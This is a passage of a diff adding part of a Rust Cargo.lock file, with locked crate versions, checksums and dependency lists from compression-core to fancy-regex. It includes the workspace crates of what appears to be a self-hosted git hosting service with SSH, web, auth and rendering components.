| 664 | + | dependencies = [ | |
| 665 | + | "compression-core", | |
| 666 | + | "flate2", | |
| 667 | + | "memchr", | |
| 668 | + | ] | |
| 669 | + | ||
| 670 | + | [[package]] | |
| 671 | + | name = "compression-core" | |
| 672 | + | version = "0.4.32" | |
| 673 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 674 | + | checksum = "cc14f565cf027a105f7a44ccf9e5b424348421a1d8952a8fc9d499d313107789" | |
| 675 | + | ||
| 676 | + | [[package]] | |
| 677 | + | name = "comrak" | |
| 678 | + | version = "0.39.1" | |
| 679 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 680 | + | checksum = "2fefab951771fc3beeed0773ce66a4f7b706273fc6c4c95b08dd1615744abcf5" | |
| 681 | + | dependencies = [ | |
| 682 | + | "bon", | |
| 683 | + | "caseless", | |
| 684 | + | "clap", | |
| 685 | + | "entities", | |
| 686 | + | "memchr", | |
| 687 | + | "shell-words", | |
| 688 | + | "slug", | |
| 689 | + | "syntect", | |
| 690 | + | "typed-arena", | |
| 691 | + | "unicode_categories", | |
| 692 | + | "xdg", | |
| 693 | + | ] | |
| 694 | + | ||
| 695 | + | [[package]] | |
| 696 | + | name = "const-oid" | |
| 697 | + | version = "0.9.6" | |
| 698 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 699 | + | checksum = "c2459377285ad874054d797f3ccebf984978aa39129f6eafde5cdc8315b612f8" | |
| 700 | + | ||
| 701 | + | [[package]] | |
| 702 | + | name = "cookie" | |
| 703 | + | version = "0.18.1" | |
| 704 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 705 | + | checksum = "4ddef33a339a91ea89fb53151bd0a4689cfce27055c291dfa69945475d22c747" | |
| 706 | + | dependencies = [ | |
| 707 | + | "percent-encoding", | |
| 708 | + | "time", | |
| 709 | + | "version_check", | |
| 710 | + | ] | |
| 711 | + | ||
| 712 | + | [[package]] | |
| 713 | + | name = "core-foundation-sys" | |
| 714 | + | version = "0.8.7" | |
| 715 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 716 | + | checksum = "773648b94d0e5d620f64f280777445740e61fe701025087ec8b57f45c791888b" | |
| 717 | + | ||
| 718 | + | [[package]] | |
| 719 | + | name = "cpufeatures" | |
| 720 | + | version = "0.2.17" | |
| 721 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 722 | + | checksum = "59ed5838eebb26a2bb2e58f6d5b5316989ae9d08bab10e0e6d103e656d1b0280" | |
| 723 | + | dependencies = [ | |
| 724 | + | "libc", | |
| 725 | + | ] | |
| 726 | + | ||
| 727 | + | [[package]] | |
| 728 | + | name = "cpufeatures" | |
| 729 | + | version = "0.3.0" | |
| 730 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 731 | + | checksum = "8b2a41393f66f16b0823bb79094d54ac5fbd34ab292ddafb9a0456ac9f87d201" | |
| 732 | + | dependencies = [ | |
| 733 | + | "libc", | |
| 734 | + | ] | |
| 735 | + | ||
| 736 | + | [[package]] | |
| 737 | + | name = "crc" | |
| 738 | + | version = "3.4.0" | |
| 739 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 740 | + | checksum = "5eb8a2a1cd12ab0d987a5d5e825195d372001a4094a0376319d5a0ad71c1ba0d" | |
| 741 | + | dependencies = [ | |
| 742 | + | "crc-catalog", | |
| 743 | + | ] | |
| 744 | + | ||
| 745 | + | [[package]] | |
| 746 | + | name = "crc-catalog" | |
| 747 | + | version = "2.5.0" | |
| 748 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 749 | + | checksum = "217698eaf96b4a3f0bc4f3662aaa55bdf913cd54d7204591faa790070c6d0853" | |
| 750 | + | ||
| 751 | + | [[package]] | |
| 752 | + | name = "crc32fast" | |
| 753 | + | version = "1.5.0" | |
| 754 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 755 | + | checksum = "9481c1c90cbf2ac953f07c8d4a58aa3945c425b7185c9154d67a65e4230da511" | |
| 756 | + | dependencies = [ | |
| 757 | + | "cfg-if", | |
| 758 | + | ] | |
| 759 | + | ||
| 760 | + | [[package]] | |
| 761 | + | name = "crossbeam-channel" | |
| 762 | + | version = "0.5.16" | |
| 763 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 764 | + | checksum = "d85363c37faeca707aef026efa9f3b34d077bce547e48f770770625c6013679e" | |
| 765 | + | dependencies = [ | |
| 766 | + | "crossbeam-utils", | |
| 767 | + | ] | |
| 768 | + | ||
| 769 | + | [[package]] | |
| 770 | + | name = "crossbeam-queue" | |
| 771 | + | version = "0.3.13" | |
| 772 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 773 | + | checksum = "803d13fb3b09d88be9f4dbc29062c66b19bf7170867ceb746d2a8689bf6c7a26" | |
| 774 | + | dependencies = [ | |
| 775 | + | "crossbeam-utils", | |
| 776 | + | ] | |
| 777 | + | ||
| 778 | + | [[package]] | |
| 779 | + | name = "crossbeam-utils" | |
| 780 | + | version = "0.8.22" | |
| 781 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 782 | + | checksum = "61803da095bee82a81bb1a452ecc25d3b2f1416d1897eb86430c6159ef717c17" | |
| 783 | + | ||
| 784 | + | [[package]] | |
| 785 | + | name = "crypto-bigint" | |
| 786 | + | version = "0.5.5" | |
| 787 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 788 | + | checksum = "0dc92fb57ca44df6db8059111ab3af99a63d5d0f8375d9972e319a379c6bab76" | |
| 789 | + | dependencies = [ | |
| 790 | + | "generic-array", | |
| 791 | + | "rand_core 0.6.4", | |
| 792 | + | "subtle", | |
| 793 | + | "zeroize", | |
| 794 | + | ] | |
| 795 | + | ||
| 796 | + | [[package]] | |
| 797 | + | name = "crypto-common" | |
| 798 | + | version = "0.1.7" | |
| 799 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 800 | + | checksum = "78c8292055d1c1df0cce5d180393dc8cce0abec0a7102adb6c7b1eef6016d60a" | |
| 801 | + | dependencies = [ | |
| 802 | + | "generic-array", | |
| 803 | + | "rand_core 0.6.4", | |
| 804 | + | "typenum", | |
| 805 | + | ] | |
| 806 | + | ||
| 807 | + | [[package]] | |
| 808 | + | name = "cssparser" | |
| 809 | + | version = "0.37.0" | |
| 810 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 811 | + | checksum = "8c9cdaae01d5ed7882b04d795e7f752f46ff52d2fa3b50a20d28c464510bba98" | |
| 812 | + | dependencies = [ | |
| 813 | + | "dtoa-short", | |
| 814 | + | "itoa", | |
| 815 | + | "smallvec", | |
| 816 | + | ] | |
| 817 | + | ||
| 818 | + | [[package]] | |
| 819 | + | name = "ctr" | |
| 820 | + | version = "0.9.2" | |
| 821 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 822 | + | checksum = "0369ee1ad671834580515889b80f2ea915f23b8be8d0daa4bbaf2ac5c7590835" | |
| 823 | + | dependencies = [ | |
| 824 | + | "cipher", | |
| 825 | + | ] | |
| 826 | + | ||
| 827 | + | [[package]] | |
| 828 | + | name = "curve25519-dalek" | |
| 829 | + | version = "4.1.3" | |
| 830 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 831 | + | checksum = "97fb8b7c4503de7d6ae7b42ab72a5a59857b4c937ec27a3d4539dba95b5ab2be" | |
| 832 | + | dependencies = [ | |
| 833 | + | "cfg-if", | |
| 834 | + | "cpufeatures 0.2.17", | |
| 835 | + | "curve25519-dalek-derive", | |
| 836 | + | "digest", | |
| 837 | + | "fiat-crypto", | |
| 838 | + | "rustc_version", | |
| 839 | + | "subtle", | |
| 840 | + | "zeroize", | |
| 841 | + | ] | |
| 842 | + | ||
| 843 | + | [[package]] | |
| 844 | + | name = "curve25519-dalek-derive" | |
| 845 | + | version = "0.1.1" | |
| 846 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 847 | + | checksum = "f46882e17999c6cc590af592290432be3bce0428cb0d5f8b6715e4dc7b383eb3" | |
| 848 | + | dependencies = [ | |
| 849 | + | "proc-macro2", | |
| 850 | + | "quote", | |
| 851 | + | "syn 2.0.119", | |
| 852 | + | ] | |
| 853 | + | ||
| 854 | + | [[package]] | |
| 855 | + | name = "darling" | |
| 856 | + | version = "0.23.0" | |
| 857 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 858 | + | checksum = "25ae13da2f202d56bd7f91c25fba009e7717a1e4a1cc98a76d844b65ae912e9d" | |
| 859 | + | dependencies = [ | |
| 860 | + | "darling_core", | |
| 861 | + | "darling_macro", | |
| 862 | + | ] | |
| 863 | + | ||
| 864 | + | [[package]] | |
| 865 | + | name = "darling_core" | |
| 866 | + | version = "0.23.0" | |
| 867 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 868 | + | checksum = "9865a50f7c335f53564bb694ef660825eb8610e0a53d3e11bf1b0d3df31e03b0" | |
| 869 | + | dependencies = [ | |
| 870 | + | "ident_case", | |
| 871 | + | "proc-macro2", | |
| 872 | + | "quote", | |
| 873 | + | "strsim", | |
| 874 | + | "syn 2.0.119", | |
| 875 | + | ] | |
| 876 | + | ||
| 877 | + | [[package]] | |
| 878 | + | name = "darling_macro" | |
| 879 | + | version = "0.23.0" | |
| 880 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 881 | + | checksum = "ac3984ec7bd6cfa798e62b4a642426a5be0e68f9401cfc2a01e3fa9ea2fcdb8d" | |
| 882 | + | dependencies = [ | |
| 883 | + | "darling_core", | |
| 884 | + | "quote", | |
| 885 | + | "syn 2.0.119", | |
| 886 | + | ] | |
| 887 | + | ||
| 888 | + | [[package]] | |
| 889 | + | name = "dashmap" | |
| 890 | + | version = "6.2.1" | |
| 891 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 892 | + | checksum = "e6361d5c062261c78a176addb82d4c821ae42bed6089de0e12603cd25de2059c" | |
| 893 | + | dependencies = [ | |
| 894 | + | "cfg-if", | |
| 895 | + | "crossbeam-utils", | |
| 896 | + | "hashbrown 0.14.5", | |
| 897 | + | "lock_api", | |
| 898 | + | "once_cell", | |
| 899 | + | "parking_lot_core", | |
| 900 | + | ] | |
| 901 | + | ||
| 902 | + | [[package]] | |
| 903 | + | name = "data-encoding" | |
| 904 | + | version = "2.11.0" | |
| 905 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 906 | + | checksum = "a4ae5f15dda3c708c0ade84bfee31ccab44a3da4f88015ed22f63732abe300c8" | |
| 907 | + | ||
| 908 | + | [[package]] | |
| 909 | + | name = "defmt" | |
| 910 | + | version = "1.1.1" | |
| 911 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 912 | + | checksum = "e2953bfe4f93bbd20cc71198842756f77d161884c99ebbabc41d80231ded88d1" | |
| 913 | + | dependencies = [ | |
| 914 | + | "bitflags 1.3.2", | |
| 915 | + | "defmt-macros", | |
| 916 | + | ] | |
| 917 | + | ||
| 918 | + | [[package]] | |
| 919 | + | name = "defmt-macros" | |
| 920 | + | version = "1.1.1" | |
| 921 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 922 | + | checksum = "bad9c72e7ca2137e0dc3813245a0d282fd6daad32fd800af018306a9169b5fe8" | |
| 923 | + | dependencies = [ | |
| 924 | + | "defmt-parser", | |
| 925 | + | "proc-macro2", | |
| 926 | + | "quote", | |
| 927 | + | "syn 2.0.119", | |
| 928 | + | ] | |
| 929 | + | ||
| 930 | + | [[package]] | |
| 931 | + | name = "defmt-parser" | |
| 932 | + | version = "1.0.0" | |
| 933 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 934 | + | checksum = "10d60334b3b2e7c9d91ef8150abfb6fa4c1c39ebbcf4a81c2e346aad939fee3e" | |
| 935 | + | dependencies = [ | |
| 936 | + | "thiserror 2.0.19", | |
| 937 | + | ] | |
| 938 | + | ||
| 939 | + | [[package]] | |
| 940 | + | name = "delegate" | |
| 941 | + | version = "0.13.5" | |
| 942 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 943 | + | checksum = "780eb241654bf097afb00fc5f054a09b687dad862e485fdcf8399bb056565370" | |
| 944 | + | dependencies = [ | |
| 945 | + | "proc-macro2", | |
| 946 | + | "quote", | |
| 947 | + | "syn 2.0.119", | |
| 948 | + | ] | |
| 949 | + | ||
| 950 | + | [[package]] | |
| 951 | + | name = "der" | |
| 952 | + | version = "0.7.10" | |
| 953 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 954 | + | checksum = "e7c1832837b905bbfb5101e07cc24c8deddf52f93225eee6ead5f4d63d53ddcb" | |
| 955 | + | dependencies = [ | |
| 956 | + | "const-oid", | |
| 957 | + | "pem-rfc7468", | |
| 958 | + | "zeroize", | |
| 959 | + | ] | |
| 960 | + | ||
| 961 | + | [[package]] | |
| 962 | + | name = "deranged" | |
| 963 | + | version = "0.5.8" | |
| 964 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 965 | + | checksum = "7cd812cc2bc1d69d4764bd80df88b4317eaef9e773c75226407d9bc0876b211c" | |
| 966 | + | dependencies = [ | |
| 967 | + | "serde_core", | |
| 968 | + | ] | |
| 969 | + | ||
| 970 | + | [[package]] | |
| 971 | + | name = "deunicode" | |
| 972 | + | version = "1.6.2" | |
| 973 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 974 | + | checksum = "abd57806937c9cc163efc8ea3910e00a62e2aeb0b8119f1793a978088f8f6b04" | |
| 975 | + | ||
| 976 | + | [[package]] | |
| 977 | + | name = "df-admin" | |
| 978 | + | version = "0.1.0" | |
| 979 | + | dependencies = [ | |
| 980 | + | "anyhow", | |
| 981 | + | "chrono", | |
| 982 | + | "clap", | |
| 983 | + | "df-auth", | |
| 984 | + | "df-db", | |
| 985 | + | "dotenvy", | |
| 986 | + | "serde_json", | |
| 987 | + | "sqlx", | |
| 988 | + | "tokio", | |
| 989 | + | "uuid", | |
| 990 | + | ] | |
| 991 | + | ||
| 992 | + | [[package]] | |
| 993 | + | name = "df-auth" | |
| 994 | + | version = "0.1.0" | |
| 995 | + | dependencies = [ | |
| 996 | + | "anyhow", | |
| 997 | + | "argon2", | |
| 998 | + | "chrono", | |
| 999 | + | "df-db", | |
| 1000 | + | "hex", | |
| 1001 | + | "hmac", | |
| 1002 | + | "openidconnect", | |
| 1003 | + | "rand 0.8.7", | |
| 1004 | + | "serde", | |
| 1005 | + | "serde_json", | |
| 1006 | + | "sha2", | |
| 1007 | + | "sqlx", | |
| 1008 | + | "ssh-key", | |
| 1009 | + | "subtle", | |
| 1010 | + | "thiserror 2.0.19", | |
| 1011 | + | "tracing", | |
| 1012 | + | "uuid", | |
| 1013 | + | ] | |
| 1014 | + | ||
| 1015 | + | [[package]] | |
| 1016 | + | name = "df-db" | |
| 1017 | + | version = "0.1.0" | |
| 1018 | + | dependencies = [ | |
| 1019 | + | "anyhow", | |
| 1020 | + | "chrono", | |
| 1021 | + | "futures", | |
| 1022 | + | "serde", | |
| 1023 | + | "serde_json", | |
| 1024 | + | "sqlx", | |
| 1025 | + | "thiserror 2.0.19", | |
| 1026 | + | "tokio", | |
| 1027 | + | "tracing", | |
| 1028 | + | "uuid", | |
| 1029 | + | ] | |
| 1030 | + | ||
| 1031 | + | [[package]] | |
| 1032 | + | name = "df-hook" | |
| 1033 | + | version = "0.1.0" | |
| 1034 | + | dependencies = [ | |
| 1035 | + | "df-db", | |
| 1036 | + | "df-store", | |
| 1037 | + | "sqlx", | |
| 1038 | + | "tokio", | |
| 1039 | + | "uuid", | |
| 1040 | + | ] | |
| 1041 | + | ||
| 1042 | + | [[package]] | |
| 1043 | + | name = "df-index" | |
| 1044 | + | version = "0.1.0" | |
| 1045 | + | dependencies = [ | |
| 1046 | + | "chrono", | |
| 1047 | + | "hex", | |
| 1048 | + | "serde_json", | |
| 1049 | + | "sha2", | |
| 1050 | + | "similar", | |
| 1051 | + | "thiserror 2.0.19", | |
| 1052 | + | "tracing", | |
| 1053 | + | ] | |
| 1054 | + | ||
| 1055 | + | [[package]] | |
| 1056 | + | name = "df-render" | |
| 1057 | + | version = "0.1.0" | |
| 1058 | + | dependencies = [ | |
| 1059 | + | "ammonia", | |
| 1060 | + | "comrak", | |
| 1061 | + | "tree-sitter", | |
| 1062 | + | "tree-sitter-bash", | |
| 1063 | + | "tree-sitter-c", | |
| 1064 | + | "tree-sitter-c-sharp", | |
| 1065 | + | "tree-sitter-cpp", | |
| 1066 | + | "tree-sitter-css", | |
| 1067 | + | "tree-sitter-elixir", | |
| 1068 | + | "tree-sitter-go", | |
| 1069 | + | "tree-sitter-haskell", | |
| 1070 | + | "tree-sitter-highlight", | |
| 1071 | + | "tree-sitter-html", | |
| 1072 | + | "tree-sitter-java", | |
| 1073 | + | "tree-sitter-javascript", | |
| 1074 | + | "tree-sitter-json", | |
| 1075 | + | "tree-sitter-lua", | |
| 1076 | + | "tree-sitter-md", | |
| 1077 | + | "tree-sitter-nix", | |
| 1078 | + | "tree-sitter-php", | |
| 1079 | + | "tree-sitter-python", | |
| 1080 | + | "tree-sitter-ruby", | |
| 1081 | + | "tree-sitter-rust", | |
| 1082 | + | "tree-sitter-scala", | |
| 1083 | + | "tree-sitter-sequel", | |
| 1084 | + | "tree-sitter-swift", | |
| 1085 | + | "tree-sitter-toml-ng", | |
| 1086 | + | "tree-sitter-typescript", | |
| 1087 | + | "tree-sitter-yaml", | |
| 1088 | + | "tree-sitter-zig", | |
| 1089 | + | ] | |
| 1090 | + | ||
| 1091 | + | [[package]] | |
| 1092 | + | name = "df-ssh" | |
| 1093 | + | version = "0.1.0" | |
| 1094 | + | dependencies = [ | |
| 1095 | + | "anyhow", | |
| 1096 | + | "df-auth", | |
| 1097 | + | "df-db", | |
| 1098 | + | "dotenvy", | |
| 1099 | + | "rand 0.8.7", | |
| 1100 | + | "russh", | |
| 1101 | + | "sqlx", | |
| 1102 | + | "tokio", | |
| 1103 | + | "tracing", | |
| 1104 | + | "tracing-subscriber", | |
| 1105 | + | "uuid", | |
| 1106 | + | ] | |
| 1107 | + | ||
| 1108 | + | [[package]] | |
| 1109 | + | name = "df-store" | |
| 1110 | + | version = "0.1.0" | |
| 1111 | + | dependencies = [ | |
| 1112 | + | "anyhow", | |
| 1113 | + | "async-trait", | |
| 1114 | + | "chrono", | |
| 1115 | + | "df-index", | |
| 1116 | + | "gix", | |
| 1117 | + | "lru", | |
| 1118 | + | "serde_json", | |
| 1119 | + | "similar", | |
| 1120 | + | "tempfile", | |
| 1121 | + | "thiserror 2.0.19", | |
| 1122 | + | "tokio", | |
| 1123 | + | "tracing", | |
| 1124 | + | "uuid", | |
| 1125 | + | ] | |
| 1126 | + | ||
| 1127 | + | [[package]] | |
| 1128 | + | name = "df-web" | |
| 1129 | + | version = "0.1.0" | |
| 1130 | + | dependencies = [ | |
| 1131 | + | "anyhow", | |
| 1132 | + | "async-trait", | |
| 1133 | + | "axum", | |
| 1134 | + | "axum-extra", | |
| 1135 | + | "base64 0.22.1", | |
| 1136 | + | "chrono", | |
| 1137 | + | "df-auth", | |
| 1138 | + | "df-db", | |
| 1139 | + | "df-render", | |
| 1140 | + | "df-store", | |
| 1141 | + | "dotenvy", | |
| 1142 | + | "form_urlencoded", | |
| 1143 | + | "futures", | |
| 1144 | + | "hex", | |
| 1145 | + | "hmac", | |
| 1146 | + | "maud", | |
| 1147 | + | "percent-encoding", | |
| 1148 | + | "rand 0.8.7", | |
| 1149 | + | "serde", | |
| 1150 | + | "serde_json", | |
| 1151 | + | "sha2", | |
| 1152 | + | "sqlx", | |
| 1153 | + | "subtle", | |
| 1154 | + | "time", | |
| 1155 | + | "tokio", | |
| 1156 | + | "tower", | |
| 1157 | + | "tower-http", | |
| 1158 | + | "tracing", | |
| 1159 | + | "tracing-subscriber", | |
| 1160 | + | "uuid", | |
| 1161 | + | ] | |
| 1162 | + | ||
| 1163 | + | [[package]] | |
| 1164 | + | name = "df-worker" | |
| 1165 | + | version = "0.1.0" | |
| 1166 | + | dependencies = [ | |
| 1167 | + | "anyhow", | |
| 1168 | + | "chrono", | |
| 1169 | + | "df-db", | |
| 1170 | + | "df-index", | |
| 1171 | + | "df-store", | |
| 1172 | + | "dotenvy", | |
| 1173 | + | "serde", | |
| 1174 | + | "serde_json", | |
| 1175 | + | "sqlx", | |
| 1176 | + | "tokio", | |
| 1177 | + | "tracing", | |
| 1178 | + | "tracing-subscriber", | |
| 1179 | + | "uuid", | |
| 1180 | + | ] | |
| 1181 | + | ||
| 1182 | + | [[package]] | |
| 1183 | + | name = "digest" | |
| 1184 | + | version = "0.10.7" | |
| 1185 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1186 | + | checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292" | |
| 1187 | + | dependencies = [ | |
| 1188 | + | "block-buffer", | |
| 1189 | + | "const-oid", | |
| 1190 | + | "crypto-common", | |
| 1191 | + | "subtle", | |
| 1192 | + | ] | |
| 1193 | + | ||
| 1194 | + | [[package]] | |
| 1195 | + | name = "displaydoc" | |
| 1196 | + | version = "0.2.7" | |
| 1197 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1198 | + | checksum = "c6232dd377dcc64799954cbd3a9bb882e9cdc1308ccd87b1c098f1fb2eaf82a8" | |
| 1199 | + | dependencies = [ | |
| 1200 | + | "proc-macro2", | |
| 1201 | + | "quote", | |
| 1202 | + | "syn 3.0.3", | |
| 1203 | + | ] | |
| 1204 | + | ||
| 1205 | + | [[package]] | |
| 1206 | + | name = "dotenvy" | |
| 1207 | + | version = "0.15.7" | |
| 1208 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1209 | + | checksum = "1aaf95b3e5c8f23aa320147307562d361db0ae0d51242340f558153b4eb2439b" | |
| 1210 | + | ||
| 1211 | + | [[package]] | |
| 1212 | + | name = "dtoa" | |
| 1213 | + | version = "1.0.11" | |
| 1214 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1215 | + | checksum = "4c3cf4824e2d5f025c7b531afcb2325364084a16806f6d47fbc1f5fbd9960590" | |
| 1216 | + | ||
| 1217 | + | [[package]] | |
| 1218 | + | name = "dtoa-short" | |
| 1219 | + | version = "0.3.5" | |
| 1220 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1221 | + | checksum = "cd1511a7b6a56299bd043a9c167a6d2bfb37bf84a6dfceaba651168adfb43c87" | |
| 1222 | + | dependencies = [ | |
| 1223 | + | "dtoa", | |
| 1224 | + | ] | |
| 1225 | + | ||
| 1226 | + | [[package]] | |
| 1227 | + | name = "dunce" | |
| 1228 | + | version = "1.0.5" | |
| 1229 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1230 | + | checksum = "92773504d58c093f6de2459af4af33faa518c13451eb8f2b5698ed3d36e7c813" | |
| 1231 | + | ||
| 1232 | + | [[package]] | |
| 1233 | + | name = "dyn-clone" | |
| 1234 | + | version = "1.0.20" | |
| 1235 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1236 | + | checksum = "d0881ea181b1df73ff77ffaaf9c7544ecc11e82fba9b5f27b262a3c73a332555" | |
| 1237 | + | ||
| 1238 | + | [[package]] | |
| 1239 | + | name = "ecdsa" | |
| 1240 | + | version = "0.16.9" | |
| 1241 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1242 | + | checksum = "ee27f32b5c5292967d2d4a9d7f1e0b0aed2c15daded5a60300e4abb9d8020bca" | |
| 1243 | + | dependencies = [ | |
| 1244 | + | "der", | |
| 1245 | + | "digest", | |
| 1246 | + | "elliptic-curve", | |
| 1247 | + | "rfc6979", | |
| 1248 | + | "signature", | |
| 1249 | + | "spki", | |
| 1250 | + | ] | |
| 1251 | + | ||
| 1252 | + | [[package]] | |
| 1253 | + | name = "ed25519" | |
| 1254 | + | version = "2.2.3" | |
| 1255 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1256 | + | checksum = "115531babc129696a58c64a4fef0a8bf9e9698629fb97e9e40767d235cfbcd53" | |
| 1257 | + | dependencies = [ | |
| 1258 | + | "pkcs8", | |
| 1259 | + | "signature", | |
| 1260 | + | ] | |
| 1261 | + | ||
| 1262 | + | [[package]] | |
| 1263 | + | name = "ed25519-dalek" | |
| 1264 | + | version = "2.2.0" | |
| 1265 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1266 | + | checksum = "70e796c081cee67dc755e1a36a0a172b897fab85fc3f6bc48307991f64e4eca9" | |
| 1267 | + | dependencies = [ | |
| 1268 | + | "curve25519-dalek", | |
| 1269 | + | "ed25519", | |
| 1270 | + | "rand_core 0.6.4", | |
| 1271 | + | "serde", | |
| 1272 | + | "sha2", | |
| 1273 | + | "subtle", | |
| 1274 | + | "zeroize", | |
| 1275 | + | ] | |
| 1276 | + | ||
| 1277 | + | [[package]] | |
| 1278 | + | name = "either" | |
| 1279 | + | version = "1.17.0" | |
| 1280 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1281 | + | checksum = "9e5e8f6c15a24b9a3ee5efec809ccd006d3b30e8b3bb63c39af737c7f87daa1d" | |
| 1282 | + | dependencies = [ | |
| 1283 | + | "serde", | |
| 1284 | + | ] | |
| 1285 | + | ||
| 1286 | + | [[package]] | |
| 1287 | + | name = "elliptic-curve" | |
| 1288 | + | version = "0.13.8" | |
| 1289 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1290 | + | checksum = "b5e6043086bf7973472e0c7dff2142ea0b680d30e18d9cc40f267efbf222bd47" | |
| 1291 | + | dependencies = [ | |
| 1292 | + | "base16ct", | |
| 1293 | + | "crypto-bigint", | |
| 1294 | + | "digest", | |
| 1295 | + | "ff", | |
| 1296 | + | "generic-array", | |
| 1297 | + | "group", | |
| 1298 | + | "hkdf", | |
| 1299 | + | "pem-rfc7468", | |
| 1300 | + | "pkcs8", | |
| 1301 | + | "rand_core 0.6.4", | |
| 1302 | + | "sec1", | |
| 1303 | + | "subtle", | |
| 1304 | + | "zeroize", | |
| 1305 | + | ] | |
| 1306 | + | ||
| 1307 | + | [[package]] | |
| 1308 | + | name = "encoding_rs" | |
| 1309 | + | version = "0.8.35" | |
| 1310 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1311 | + | checksum = "75030f3c4f45dafd7586dd6780965a8c7e8e285a5ecb86713e63a79c5b2766f3" | |
| 1312 | + | dependencies = [ | |
| 1313 | + | "cfg-if", | |
| 1314 | + | ] | |
| 1315 | + | ||
| 1316 | + | [[package]] | |
| 1317 | + | name = "entities" | |
| 1318 | + | version = "1.0.1" | |
| 1319 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1320 | + | checksum = "b5320ae4c3782150d900b79807611a59a99fc9a1d61d686faafc24b93fc8d7ca" | |
| 1321 | + | ||
| 1322 | + | [[package]] | |
| 1323 | + | name = "enum_dispatch" | |
| 1324 | + | version = "0.3.13" | |
| 1325 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1326 | + | checksum = "aa18ce2bc66555b3218614519ac839ddb759a7d6720732f979ef8d13be147ecd" | |
| 1327 | + | dependencies = [ | |
| 1328 | + | "once_cell", | |
| 1329 | + | "proc-macro2", | |
| 1330 | + | "quote", | |
| 1331 | + | "syn 2.0.119", | |
| 1332 | + | ] | |
| 1333 | + | ||
| 1334 | + | [[package]] | |
| 1335 | + | name = "equivalent" | |
| 1336 | + | version = "1.0.2" | |
| 1337 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1338 | + | checksum = "877a4ace8713b0bcf2a4e7eec82529c029f1d0619886d18145fea96c3ffe5c0f" | |
| 1339 | + | ||
| 1340 | + | [[package]] | |
| 1341 | + | name = "errno" | |
| 1342 | + | version = "0.3.14" | |
| 1343 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1344 | + | checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb" | |
| 1345 | + | dependencies = [ | |
| 1346 | + | "libc", | |
| 1347 | + | "windows-sys 0.61.2", | |
| 1348 | + | ] | |
| 1349 | + | ||
| 1350 | + | [[package]] | |
| 1351 | + | name = "etcetera" | |
| 1352 | + | version = "0.8.0" | |
| 1353 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1354 | + | checksum = "136d1b5283a1ab77bd9257427ffd09d8667ced0570b6f938942bc7568ed5b943" | |
| 1355 | + | dependencies = [ | |
| 1356 | + | "cfg-if", | |
| 1357 | + | "home", | |
| 1358 | + | "windows-sys 0.48.0", | |
| 1359 | + | ] | |
| 1360 | + | ||
| 1361 | + | [[package]] | |
| 1362 | + | name = "event-listener" | |
| 1363 | + | version = "5.4.2" | |
| 1364 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1365 | + | checksum = "5a23add41df1562121a9393cb065eab5146a1242410f23a644851e90cfd669d2" | |
| 1366 | + | dependencies = [ | |
| 1367 | + | "parking", | |
| 1368 | + | "pin-project-lite", | |
| 1369 | + | ] | |
| 1370 | + | ||
| 1371 | + | [[package]] | |
| 1372 | + | name = "fancy-regex" | |
| 1373 | + | version = "0.16.2" | |
| 1374 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1375 | + | checksum = "998b056554fbe42e03ae0e152895cd1a7e1002aec800fdc6635d20270260c46f" | |
| 1376 | + | dependencies = [ | |
| 1377 | + | "bit-set", | |
| 1378 | + | "regex-automata", | |
| 1379 | + | "regex-syntax", | |
| 1380 | + | ] | |
| 1381 | + | ||
| 1382 | + | [[package]] | |
